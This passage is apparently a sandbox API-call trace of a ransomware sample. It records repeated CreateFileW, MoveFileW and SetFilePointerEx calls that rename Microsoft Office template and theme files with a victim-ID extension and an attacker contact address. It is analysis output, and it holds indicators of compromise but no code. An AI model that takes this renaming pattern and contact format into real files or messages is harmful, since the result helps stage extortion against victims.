(in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\ACADEMIC.ONE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\academic.one.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.234] CloseHandle (hObject=0x1154) returned 1 [0274.235] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.235] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\blank.one.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.235] CloseHandle (hObject=0x1154) returned 1 [0274.237] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.237] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\business.one.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.237] CloseHandle (hObject=0x1154) returned 1 [0274.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\designer.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\designer.one.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0274.239] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.239] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\planners.one.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.240] CloseHandle (hObject=0x1154) returned 1 [0274.605] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.605] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originletter.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.605] CloseHandle (hObject=0x10bc) returned 1 [0274.606] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.606] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.607] CloseHandle (hObject=0x10bc) returned 1 [0274.607] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.607] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.607] CloseHandle (hObject=0x10bc) returned 1 [0274.608] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.608] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.608] CloseHandle (hObject=0x10bc) returned 1 [0274.609] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.609] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.610] CloseHandle (hObject=0x10bc) returned 1 [0274.610] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.610] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.611] CloseHandle (hObject=0x10bc) returned 1 [0274.612] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.612] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.613] CloseHandle (hObject=0x10bc) returned 1 [0274.613] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.613] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.614] CloseHandle (hObject=0x10bc) returned 1 [0274.616] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.616] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.616] CloseHandle (hObject=0x10bc) returned 1 [0274.617] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.617] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.617] CloseHandle (hObject=0x10bc) returned 1 [0274.618] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.618] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.618] CloseHandle (hObject=0x10bc) returned 1 [0274.619] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.619] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.619] CloseHandle (hObject=0x10bc) returned 1 [0274.620] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.620] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.620] CloseHandle (hObject=0x10bc) returned 1 [0274.621] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.621] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.621] CloseHandle (hObject=0x10bc) returned 1 [0274.622] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.622] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.622] CloseHandle (hObject=0x10bc) returned 1 [0274.623] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.623] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.623] CloseHandle (hObject=0x10bc) returned 1 [0274.623] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.624] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.624] CloseHandle (hObject=0x10bc) returned 1 [0274.625] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.625] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.625] CloseHandle (hObject=0x10bc) returned 1 [0274.626] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.626] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.627] CloseHandle (hObject=0x10bc) returned 1 [0274.628] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.628] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.628] CloseHandle (hObject=0x10bc) returned 1 [0274.629] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.629] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.630] CloseHandle (hObject=0x10bc) returned 1 [0274.631] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.631] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.631] CloseHandle (hObject=0x10bc) returned 1 [0274.631] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.632] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.632] CloseHandle (hObject=0x10bc) returned 1 [0274.633] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.633] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.633] CloseHandle (hObject=0x10bc) returned 1 [0274.634] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.634] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.634] CloseHandle (hObject=0x10bc) returned 1 [0274.635] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: 